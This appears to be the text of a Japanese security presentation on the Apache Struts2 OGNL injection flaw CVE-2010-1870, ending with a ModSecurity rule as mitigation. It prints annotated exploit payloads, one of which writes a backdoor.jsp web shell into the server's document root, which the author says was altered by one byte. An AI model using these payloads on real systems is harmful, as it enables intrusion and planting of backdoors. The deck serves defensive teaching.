SlideShare a Scribd company logo
※本稿の内容を管理下ではない環境に対して
実施しないでください。
Apache Software Foundationのプロジェクトで開発が
進められているWebアプリケーションのフレームワーク
最新バージョンは、2.3.14.3だが、古いバージョンには
♥を熱くする脆弱性が複数報告されている。
1.3系はEOL。
クリティカルな脆弱性達が存在するので、意図せずして
情報提供サーバになってしまう。
JINS
2013年5月1日に最終報告。
2,059件のクレジットカード情報が漏えいした
可能性がある。
不正利用の申告があった件数は上記のうち20件。
最大損害総額:3,053,000
※申告がなかった不正利用額は推定
クリティカルな脆弱性のうちの1つであるCVE-2010-1870。
Apache Struts の XWork における OGNL の式評価には、
"#" ParameterInterceptors 保護メカニズムを回避される脆弱
性が存在します。
By JVN
1系には、本脆弱性は存在しませんが、EOLとなっている
ため、2系の最新バージョンにアップグレードされることを
推奨いたします。
Struts2.0.0 – 2.1.8.1に存在する脆弱性。
HTTPでは、いくつかのmethod(命令)が用意されている
が、その中でよく使われるmethodがPOSTとGETです。
HTTPのリクエスト(利用者からの要求)
Request = Request-Line ; Section 5.1
*(( general-header ; Section 4.5
| request-header ; Section 5.3
| entity-header ) CRLF) ; Section 7.1
CRLF
[ message-body ] ; Section 4.3
Request-Line = Method SP Request-URI SP HTTP-Version CRLF
リクエスト
レスポンス
Webサイト
利用者
GETメソッドの場合
GET /private/index.html?var1=num1&var2=num2 HTTP/1.1
Host: example.com
POSTメソッドの場合
POST /private/index.html HTTP/1.1
Host: example.com
Content-Length: XX
CRLF
var1=num1&var2=num2
apacheではPOSTメソッドで送付されるパラメータ(パラメータ名および値)
はログ出力されないので、POSTのパラメータの内容を知るためにはModSecurity
などを導入する必要がある。GETメソッドで送付されるパラメータはログに残る
ので、内容を確認することができる。
(抜粋)RFC2616 15.1.3 URI での機密性の高い情報のエンコード
HTTP プロトコルを使うサービスの作者は、その Request-URI にエンコードされ
たデータが現れるので、機密性の高いデータの提出に GET を使ったフォームを使
うべきではない。
XX.XX.XX.XX - - [24/Jun/2013:08:12:50 +0900] "GET /sample/index.html?var1=num1&var2=num2 HTTP/1.1" 200 1
1365 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.
1453.116 Safari/537.36" AA.AA.AA.AA
XX.XX.XX.ZZ - - [24/Jun/2013:08:17:13 +0900] "POST /sample/index.html HTTP/1.1" 200
18268 "http://AA.AA.AA.AA/sample/index.html" "Mozilla/5.0 (Windows NT 5.1) AppleWebKi
t/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36" AA.AA.AA.AA
Apacheのログ
http://xxx?('43_memberAccess.allowStaticMethodAccess')(a)=true
&(arwe)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a))
&(dd)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a))
&(ged)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a))
&(mq)(('43res.getWriter().println("End")')(a))
&(sqe)(('43res.getWriter().close()')(d))
こんなGETパラメータを放り込んでみると・・・
HTTP/1.1 200 OK
Date: Tue, 25 Jun 2013 09:13:18 GMT
Content-Length: 4
Connection: close
Content-Type: text/plain; charset=UTF-8
End
レスポンスは???
なぜ??
http://xxx?('43_memberAccess.allowStaticMethodAccess')(a)=true
Staticメソッドの呼び出しを許可するかを指定しており、「true」で呼び出せるように
なる。「43」が#として評価される。
&(arwe)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a))
&(ged)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a))
&(dd)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a))
リクエストを変数#reqとして定義。「75」が=として評価される。
レスポンスを変数#resとして定義。
denyMethodExecutionをfalseにセット。
&(mq)(('43res.getWriter().println("End")')(a))
レスポンスに「End」を出力する。
&(sqe)(('43res.getWriter().close()')(d))
後始末。
画面にEndと表示してなんも面白くない。
('43_memberAccess.allowStaticMethodAccess')(a)=true
&(bnes)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a))
&(de)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a))
&(gf)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a))
&(keee)(('43res.getWriter().println(43req.getServletContext().getRealPath("u005c"))')(a))
&(arrrs)(('43fos75new%20java.io.FileWriter(new%20java.lang.StringBuilder(43req.getServlet
Context().getRealPath("u005c")).append(@java.io.File@separator).append("backdoor.jsp").toS
tring())')(a))
&(ovb)(('43fos.write(43req.getParameter("contents").getBytes())')(a))
&(rdsq)(('43res.getWriter().println("End")')(a))
&(tres)(('43fos.close()')(d))
&(v)(('43res.getWriter().close()')(d))
&contents=xxxxxxxxx
サーバにbackdoor仕込もう(梅酒ばりにさらりと
※実際に動作するコードからコピペしても動作(ファイル生成のみ)しないように1byte変更しています。
全体像の理解に影響のない個所を変更しています。
('43_memberAccess.allowStaticMethodAccess')(a)=true
&(bnes)(('43context['xwork.MethodAccessor.denyMethodExecution']75false')(a))
&(de)(('43req75@org.apache.struts2.ServletActionContext@getRequest()')(a))
&(gf)(('43res75@org.apache.struts2.ServletActionContext@getResponse()')(a))
&(keee)(('43res.getWriter().println(43req.getServletContext().getRealPath("u005c"))')(a))
準備体操。
&(arrrs)(('43fos75new%20java.io.FileWriter(new%20java.lang.StringBuilder(43req.getServlet
Context().getRealPath("u005c")).append(@java.io.File@separator).append("backdoor.jsp").toS
tring())')(a))
ドキュメントルートの絶対パスを出力。特に必要ありません。デバッグのためです。
ドキュメントルートにbackdoor.jspファイルを作成。
&(ovb)(('43fos.write(43req.getParameter("contents").getBytes())')(a))
作成したファイルに後述するcontentsパラメータの内容を出力する。
デバッグ用のEndを出力する。
&contents=xxxxx
&(rdsq)(('43res.getWriter().println("End")')(a))
&(tres)(('43fos.close()')(d))
&(v)(('43res.getWriter().close()')(d))
後始末。
contentsパラメータで中身はxxxxx。
中身がxxxxxだけのファイルが作成されるだけ
ならば、まだいいほう。悪意のあるコードが埋め
込まれた場合、悲劇。
ぐだぐだ言わずに、黙ってupdate。
ただ、Strutsのバージョンアップだと、プログラムソース
の変更やそれに伴うテストの対応がリソース的にできない。
じゃあ、WAFなど別の手段でリスクを軽減しましょう。
とりあえず、今回はModSecurityで。
WAFる
WAFら(ない)
WAFり(ます)
WAFる(こと)
WAFれ(ば)
アップデートできないなら、WAFれ!!
WAFの五段活用
http://www.modsecurity.org/
フリーなWAF。シグネチャ(CoreRuleSet)もフリーで
存在し、シグネチャの追加は知識さえあれば己の力で
なんとかなるかも(やりたくないけど)。
今回はシンプルに「 allowStaticMethodAccess 」があれば
止めるとしています。
SecRule ARGS_NAMES|ARGS "allowStaticMethodAccess"
"phase:2,t:none,auditlog,deny,id:'999999'“
CVE-2013-2115にも効果あった。

More Related Content

What's hot

ネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分けネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分け
モノビット エンジン
 
どうして昔の人は八進数でしゃべるのか?
どうして昔の人は八進数でしゃべるのか?どうして昔の人は八進数でしゃべるのか?
どうして昔の人は八進数でしゃべるのか?
たけおか しょうぞう
 
Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門
Etsuji Nakai
 
Fargateを使いこなす!creatiaのインフラを支える技術について
Fargateを使いこなす!creatiaのインフラを支える技術についてFargateを使いこなす!creatiaのインフラを支える技術について
Fargateを使いこなす!creatiaのインフラを支える技術について
虎の穴 開発室
 
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
kikuchan98
 
シェル・ワンライナー160本ノック
シェル・ワンライナー160本ノックシェル・ワンライナー160本ノック
シェル・ワンライナー160本ノック
Ryuichi Ueda
 
Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門
Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門
Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門
Preferred Networks
 
ゼロからはじめるKVM超入門
ゼロからはじめるKVM超入門ゼロからはじめるKVM超入門
ゼロからはじめるKVM超入門
VirtualTech Japan Inc.
 
Onieで遊んでみようとした話
Onieで遊んでみようとした話Onieで遊んでみようとした話
Onieで遊んでみようとした話
Masaru Oki
 
MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~
MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~
MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~
モノビット エンジン
 
[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ
[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ
[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ
de:code 2017
 
ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!
Mr. Vengineer
 
Takalab 勉強会#01 - Kali Linux 環境構築
Takalab 勉強会#01 - Kali Linux 環境構築Takalab 勉強会#01 - Kali Linux 環境構築
Takalab 勉強会#01 - Kali Linux 環境構築
Tsubasa Umeuchi
 
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルドBuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
Akihiro Suda
 
Webアプリケーション開発者のためのDockerハンズオン20210519
Webアプリケーション開発者のためのDockerハンズオン20210519Webアプリケーション開発者のためのDockerハンズオン20210519
Webアプリケーション開発者のためのDockerハンズオン20210519
虎の穴 開発室
 
hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版
Hiroki Ishikawa
 
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
NTT DATA Technology & Innovation
 
OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門
VirtualTech Japan Inc.
 
「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」
「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」
「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」
直久 住川
 
何となく勉強した気分になれるパーサ入門
何となく勉強した気分になれるパーサ入門何となく勉強した気分になれるパーサ入門
何となく勉強した気分になれるパーサ入門
masayoshi takahashi
 

What's hot (20)

ネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分けネットワーク ゲームにおけるTCPとUDPの使い分け
ネットワーク ゲームにおけるTCPとUDPの使い分け
 
どうして昔の人は八進数でしゃべるのか?
どうして昔の人は八進数でしゃべるのか?どうして昔の人は八進数でしゃべるのか?
どうして昔の人は八進数でしゃべるのか?
 
Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門Linux女子部 systemd徹底入門
Linux女子部 systemd徹底入門
 
Fargateを使いこなす!creatiaのインフラを支える技術について
Fargateを使いこなす!creatiaのインフラを支える技術についてFargateを使いこなす!creatiaのインフラを支える技術について
Fargateを使いこなす!creatiaのインフラを支える技術について
 
CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)CTF超入門 (for 第12回セキュリティさくら)
CTF超入門 (for 第12回セキュリティさくら)
 
シェル・ワンライナー160本ノック
シェル・ワンライナー160本ノックシェル・ワンライナー160本ノック
シェル・ワンライナー160本ノック
 
Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門
Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門
Kubernete Meetup Tokyo #18 - Kubebuilder/controller-runtime 入門
 
ゼロからはじめるKVM超入門
ゼロからはじめるKVM超入門ゼロからはじめるKVM超入門
ゼロからはじめるKVM超入門
 
Onieで遊んでみようとした話
Onieで遊んでみようとした話Onieで遊んでみようとした話
Onieで遊んでみようとした話
 
MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~
MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~
MRU : Monobit Reliable UDP ~5G世代のモバイルゲームに最適な通信プロトコルを目指して~
 
[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ
[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ
[DO02] Jenkins PipelineとBlue Oceanによる、フルスクラッチからの継続的デリバリ
 
ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!ARM Trusted FirmwareのBL31を単体で使う!
ARM Trusted FirmwareのBL31を単体で使う!
 
Takalab 勉強会#01 - Kali Linux 環境構築
Takalab 勉強会#01 - Kali Linux 環境構築Takalab 勉強会#01 - Kali Linux 環境構築
Takalab 勉強会#01 - Kali Linux 環境構築
 
BuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルドBuildKitによる高速でセキュアなイメージビルド
BuildKitによる高速でセキュアなイメージビルド
 
Webアプリケーション開発者のためのDockerハンズオン20210519
Webアプリケーション開発者のためのDockerハンズオン20210519Webアプリケーション開発者のためのDockerハンズオン20210519
Webアプリケーション開発者のためのDockerハンズオン20210519
 
hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版hbstudy# 28 SELinux HandsOn 公開版
hbstudy# 28 SELinux HandsOn 公開版
 
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
乗っ取れコンテナ!!開発者から見たコンテナセキュリティの考え方(CloudNative Days Tokyo 2021 発表資料)
 
OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門
 
「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」
「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」
「FPGA 開発入門:FPGA を用いたエッジ AI の高速化手法を学ぶ」
 
何となく勉強した気分になれるパーサ入門
何となく勉強した気分になれるパーサ入門何となく勉強した気分になれるパーサ入門
何となく勉強した気分になれるパーサ入門
 

More from abend_cve_9999_0001

Bypassing anti virus using powershell
Bypassing anti virus using powershellBypassing anti virus using powershell
Bypassing anti virus using powershell
abend_cve_9999_0001
 
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみたポートスキャンを擬人化してみた
ポートスキャンを擬人化してみた
abend_cve_9999_0001
 
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)
abend_cve_9999_0001
 
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
abend_cve_9999_0001
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
abend_cve_9999_0001
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理
abend_cve_9999_0001
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
abend_cve_9999_0001
 
Your hash is.
Your hash is.Your hash is.
Your hash is.
abend_cve_9999_0001
 
Nmapの真実(続)
Nmapの真実(続)Nmapの真実(続)
Nmapの真実(続)
abend_cve_9999_0001
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
abend_cve_9999_0001
 
Nmap 9つの真実
Nmap 9つの真実Nmap 9つの真実
Nmap 9つの真実
abend_cve_9999_0001
 
Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
abend_cve_9999_0001
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anyway
abend_cve_9999_0001
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
abend_cve_9999_0001
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
abend_cve_9999_0001
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
abend_cve_9999_0001
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
abend_cve_9999_0001
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
abend_cve_9999_0001
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)abend_cve_9999_0001
 

More from abend_cve_9999_0001 (20)

Bypassing anti virus using powershell
Bypassing anti virus using powershellBypassing anti virus using powershell
Bypassing anti virus using powershell
 
ポートスキャンを擬人化してみた
ポートスキャンを擬人化してみたポートスキャンを擬人化してみた
ポートスキャンを擬人化してみた
 
Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)Bypassing Windows Security Functions(ja)
Bypassing Windows Security Functions(ja)
 
Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)Bypassing Windows Security Functions(en)
Bypassing Windows Security Functions(en)
 
Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介Burp Suite Japanユーザグループ紹介
Burp Suite Japanユーザグループ紹介
 
バックアップファイルの管理
バックアップファイルの管理バックアップファイルの管理
バックアップファイルの管理
 
標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか標的型攻撃からどのように身を守るのか
標的型攻撃からどのように身を守るのか
 
Your hash is.
Your hash is.Your hash is.
Your hash is.
 
Nmapの真実(続)
Nmapの真実(続)Nmapの真実(続)
Nmapの真実(続)
 
Nmap 9 truth "Nothing to say any more"
Nmap 9 truth "Nothing to say  any more"Nmap 9 truth "Nothing to say  any more"
Nmap 9 truth "Nothing to say any more"
 
Nmap 9つの真実
Nmap 9つの真実Nmap 9つの真実
Nmap 9つの真実
 
Nmapの真実
Nmapの真実Nmapの真実
Nmapの真実
 
Burpで指定文字列を検索
Burpで指定文字列を検索Burpで指定文字列を検索
Burpで指定文字列を検索
 
The vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anywayThe vulnerabilities never bothered me anyway
The vulnerabilities never bothered me anyway
 
フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編フリーでできるセキュリティチェック OpenVAS CLI編
フリーでできるセキュリティチェック OpenVAS CLI編
 
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したらもしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
もしWebセキュリティのエンジニアがRFC7540の「HTTP/2アプリ」をWeb診断したら
 
フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)フリーでできるWebセキュリティ(burp編)
フリーでできるWebセキュリティ(burp編)
 
Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~Burp番外編~バープ、チョトニホンゴデキル~
Burp番外編~バープ、チョトニホンゴデキル~
 
おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。おちこんだりもしたけど、私は元気です。
おちこんだりもしたけど、私は元気です。
 
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
フリーでできるセキュリティWeb編(SQLMあpを楽しもう)
 

CVE-2010-1870